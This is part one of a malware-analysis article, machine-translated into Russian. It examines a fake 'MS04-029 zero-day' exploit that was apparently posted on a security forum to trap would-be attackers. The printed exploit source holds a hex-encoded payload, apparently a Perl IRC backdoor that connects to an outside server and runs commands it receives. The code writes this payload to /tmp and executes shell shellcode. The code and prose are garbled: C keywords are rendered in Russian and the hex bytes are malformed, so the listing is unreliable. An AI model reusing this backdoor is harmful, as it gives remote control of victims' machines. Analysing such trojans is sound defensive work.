Социальная инженерия встречается с ботом (часть 1)

Опубликовано: 13 Апреля, 2023


Чтобы приукрасить довольно загадочное название этой статьи, позвольте мне дать вам немного предыстории. Около недели назад новый пользователь на www.security-forums.com опубликовал сообщение, в котором утверждалось, что у него есть новый код нулевого дня для MS04-029, и разместил ссылки для его загрузки. Этот новый участник также заявил, что этот код позволит злоумышленнику также получить командную оболочку на компьютере жертвы. Действительно сексуальная вещь, поскольку получение командной оболочки на удаленном компьютере является конечной целью хакера в большинстве случаев. Проблема заключалась в том, что я, кажется, помнил, что если атака с использованием кода эксплойта для MS04-029 будет успешной, это приведет только к состоянию отказа в обслуживании. Кроме того, некоторые части активной памяти могут быть прочитаны. Что я не помню, читал об этом эксплойте, так это то, что он давал злоумышленнику оболочку на компьютере жертвы. В этот момент я начал чувствовать запах крысы. Это будет не первый случай, когда хакер пытается проникнуть в машину с помощью социальной инженерии. Ведь самым слабым звеном всегда был человеческий интерфейс.

Небольшой репортаж обо мне


Сначала немного предыстории обо мне, что займет не больше пары строк. Немного больше обо мне может помочь вам понять мои действия. В настоящее время я работаю аналитиком по сетевой безопасности в течение последних нескольких лет. Я специализируюсь на обнаружении вторжений, обработке инцидентов и получаю удовольствие от работы с вредоносными программами. За время работы я научился правильно и, что более важно, безопасно анализировать вредоносное ПО. С этой целью я настоятельно рекомендую вам делать то же, что и я, и играть с вредоносными программами. Делайте это только в контролируемой лабораторной среде. Моя лабораторная среда будет подробно описана чуть позже в этой статье, как и шаги, которые я предпринял во время своего беглого анализа.


Настройка безопасной лабораторной среды


Довольно важный шаг в анализе вредоносного ПО — это делать это в изолированной сети. Под этим я подразумеваю, что последнее, что вы хотите сделать, это заразить корпоративный или домашний компьютер в ходе анализа. Лично я обычно использую два ноутбука для анализа любого вида вредоносного ПО или кода эксплойта. Использование ноутбуков выгодно, так как я считаю, что они занимают меньше всего места на моем компьютерном столе, и я могу легко соединить их вместе. Подобный подход также гарантирует, что вы никоим образом не сможете непреднамеренно заразить компьютер или сеть. Обычно я просто выполняю одноранговое соединение через кабель CAT 5 или использую запасной концентратор, чтобы дать двум ноутбукам возможность общаться друг с другом. Суть в том, что два лабораторных компьютера должны видеть друг друга. Как только эти машины подключены, я подтверждаю подключение с помощью простого эхо-запроса ICMP или ping, как это известно большинству людей.


Ниже на снимке экрана показаны выходные данные ipconfig на моем ноутбуке, который скоро будет заражен. У этого есть шлюз, так как я хочу, чтобы он мог «звонить домой», так сказать. Без шлюза он не сможет получить доступ к Интернету, и, соответственно, я не смогу увидеть, как ноутбук будет вести себя после заражения. Из-за характера этого эксплойта я хочу, чтобы он имел доступ к Интернету. Однако в большинстве случаев я не хочу, чтобы эксплойт мог получить доступ к сети, поэтому используется одноранговое соединение без ввода шлюзов на любой машине.



Почти каждый эксплойт или часть вредоносного ПО зависит от определенного набора критериев для его работы. Это означает, что не было установленного брандмауэра или антивирусного программного обеспечения, и, возможно, у пользователя не было установлено исправление поставщика. Поэтому, когда я настраиваю новый анализ, у меня просто не работает брандмауэр и антивирусный продукт. То же самое можно сказать и о патче конкретного поставщика, если я смотрю на эксплойт.


Игра началась!


Теперь, когда мы настроили безопасную среду для работы, мы можем приступить к изучению эксплойта или, в данном случае, подозреваемого вредоносного ПО. Автор, разместивший это на форуме, содержал ссылки на код эксплойта. Я продолжил и скачал его и заметил, что это было сделано через HTTPS. У этого сервера также был недействительный сертификат, который я проигнорировал. Как только я загрузил это на свой флэш-накопитель, я перенес его на свою лабораторную машину.


Есть несколько инструментов, которые я буду использовать в следующем анализе. В это время, пожалуйста, перейдите и загрузите следующее; hex2.exe и шестнадцатеричный редактор на ваш выбор. Здесь стоит упомянуть, что я выполнял эту работу в среде Linux. Я использовал дистрибутив Linux, потому что некоторые из включенных файлов, перечисленных в коде эксплойта, были основаны на Linux. Есть еще способ сделать это в строгой системе win32, но вам нужно будет установить Cygwin. Лично меня Cygwin не интересует, поэтому я использую операционные системы Win32 и Linux. Будут использоваться два ранее упомянутых выше инструмента, которые вам необходимо загрузить, но конкретно будет использоваться hex2.exe. Я включил исходный код, который я скачал с плаката ниже. Обратите внимание, что я не включил ни один из файлов заголовков. Это было сделано по юридическим причинам, так как я не хочу нести ответственность, если у кого-то возникнут проблемы с реальным кодом. Имея это в виду, имейте в виду, что приведенный ниже код не будет компилироваться. Тем не менее, я включил его для целей анализа.


Эксплойт-код



символьный шеллкод[] =
xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b
x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd
x80xe8xdcxffxffxffx2fx74x6dx70x2fx68x69


символ *shellcode_payload=
x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0ax24x3
x68x61x6ex3dx22x23x30x78x22x3bx24x6ex69x63x6bx3dx22xb
x22x3bx24x73x65x72x76x65x72x3dx22x69x72x33x69x70x2exe
x65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7dx3dx7bx7dxb
x65x78x69x74x20x69x66x20x66x6fx72x6bx3bx75x73x65x20x9
x4fx3ax3ax53x6fx63x6bx65x74x3bx24x73x6fx63x6bx20x3dx0
x49x4fx3ax3ax53x6fx63x6bx65x74x3ax3ax49x4ex45x54x2dxe
x6ex65x77x28x24x73x65x72x76x65x72x2ex22x3ax36x36x36x7
x22x29x7cx7cx65x78x69x74x3bx70x72x69x6ex74x20x24x73xf
x63x6bx20x22x55x53x45x52x20x6bx20x2bx69x20x6bx20x3axb
x76x31x5cx6ex4ex49x43x4bx20x6bx5cx6ex22x3bx24x69x3dx1x3bx77x68x69x6cx65x28 x3cx24x73x6fx63x6bx3ex3dx7ex2fxe
x5bx5ex20x5dx2bx20x28x5bx5ex20x5dx2bx29x20x2fx29x7bx4
x6dx6fx64x65x3dx24x31x3bx6cx61x73x74x20x69x66x20x24xd
x6fx64x65x3dx3dx22x30x30x31x22x3bx69x66x28x24x6dx6fx4
x65x3dx3dx22x34x33x33x22x29x7bx24x69x2bx2bx3bx24x6ex9
x63x6bx3dx7ex73x2fx5cx64x2ax24x2fx24x69x2fx3bx70x72x9
x6ex74x20x24x73x6fx63x6bx20x22x4ex49x43x4bx20x24x6ex9
x63x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6fx3
x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex5cx6ex50x52x9
x56x4dx53x47x20x24x63x68x61x6ex20x3ax48x69x5cx6ex22xb
x77x68x69x6cx65x28x3cx24x73x6fx63x6bx3ex29x7bx69x66x0
x28x2fx5ex50x49x4ex47x20x28x2ex2ax29x24x2fx29x7bx70x2
x69x6ex74x20x24x73x6fx63x6bx20x22x50x4fx4ex47x20x24x1
x5cx6ex4ax4fx49x4ex20x24x63x68x61x6ex5cx6ex22x3bx7dx9
x66x28x73x2fx5ex5bx5ex20x5dx2bx20x50x52x49x56x4dx53x7
x20x24x63x68x61x6ex20x3ax24x6ex69x63x6bx5bx5ex20x3axc
x77x5dx2ax3ax5bx5ex20x3ax5cx77x5dx2ax20x28x2ex2ax29x4
x2fx24x31x2fx29x7bx73x2fx5cx73x2ax24x2fx2fx3bx24x5fxd
x60x24x5fx60x3bx66x6fx72x65x61x63x68x28x73x70x6cx69x4
x20x22x5cx6ex22x29x7bx70x72x69x6ex74x20x24x73x6fx63xb
x20x22x50x52x49x56x4dx53x47x20x24x63x68x61x6ex20x3ax4
x5fx5cx6ex22x3bx73x6cx65x65x70x20x31x3bx7dx7dx7dx23xf
x74x6dx70x2fx68x69


#define SHELL_LEN (sizeof(shellcode_payload)-1)


int main(int argc, char **argv) {
интервал *рет;
ФАЙЛ *f;
char *pre_payload = (shellcode_payload+593);
инт умереть=0;
интервал х = 0, длина = 0;
символ *буф;
длинный адрес = 0, выравнивание = ВЫРАВНИВАНИЕ;


если(аргумент!=2)
{
printf("*** MaxLoad (эксплойт Windows rpc) v.1 *** ");
printf("Только для образовательных целей! ");
printf("ошибка: вы должны ввести корректный ip ");
printf("использование:%s [IP-АДРЕС] ",argv[0]);
printf("например: %s 192.168.1.23 ",argv[0]);
умереть=1;
}


f=fopen(pre_payload,"w");
если (е)
{
fseek(f,0,SEEK_SET);
близко (2);
fprintf(f",%s",shellcode_payload);
fclose(f);
chmod (pre_payload, 0777);
}


рет = (целое *)& рет + 2;
(*ret) = (int)шеллкод;


если (! умереть) {


if(sscanf(argv[1], «%lx», &retaddr) != 1)
die("Ошибка IP-адреса: sscanf");
если (аргумент > 2)
выровнять = atoi(argv[2]);
если (выровнять < 0 || выровнять > 3)
die("Ошибка: не удалось выполнить выравнивание");


strncpy(buf, "://[", 4);
длина += 4;
memset(buf+len, NOP, NNOPS);
len += NNOPS;
memcpy(buf+len, shellcode_payload, SHELL_LEN);
длина += SHELL_LEN;


лен += выровнять;
for(x = 0; x < 2000 – (sizeof(retaddr) – 1); x += sizeof(retaddr))
memcpy(buf+len+x, &retaddr, sizeof(retaddr));
buf[len+x] = ']';
buf[len+x+1] = 0;


printf("*** MaxLoad (эксплойт Windows rpc) v.1 *** ");
printf("Только для образовательных целей! ");
printf("Успешно отправлена полезная нагрузка! Попробуйте подключиться к %s порту 31337 ",argv[1]);


}


вернуть 0;


}


Что-то странное здесь


Если вы помните, я сказал, что человек, разместивший ссылки на код эксплойта на форуме, утверждал, что этот эксплойт нулевого дня даст злоумышленнику командную оболочку на машине жертвы. Однако проблема в том, что с указанным выше кодом существует явная проблема, если это действительно так. Мы приближаемся к точке останова для первой статьи, поэтому я настоятельно рекомендую вам прочитать следующий документ. Если вы находите это чтение немного тяжелым, быстро перейдите к концу документа. Вот где суть вопроса заключается в том, почему приведенный выше код вызывает у меня подозрения. Если у вас все еще есть проблемы с пониманием того, что имеется в виду в упомянутой выше ссылке, поищите в Google «системные вызовы». Во второй части этой статьи я отвечу, почему вышеприведенный код подозрительный, а далее приступлю к разбору. Скоро увидимся!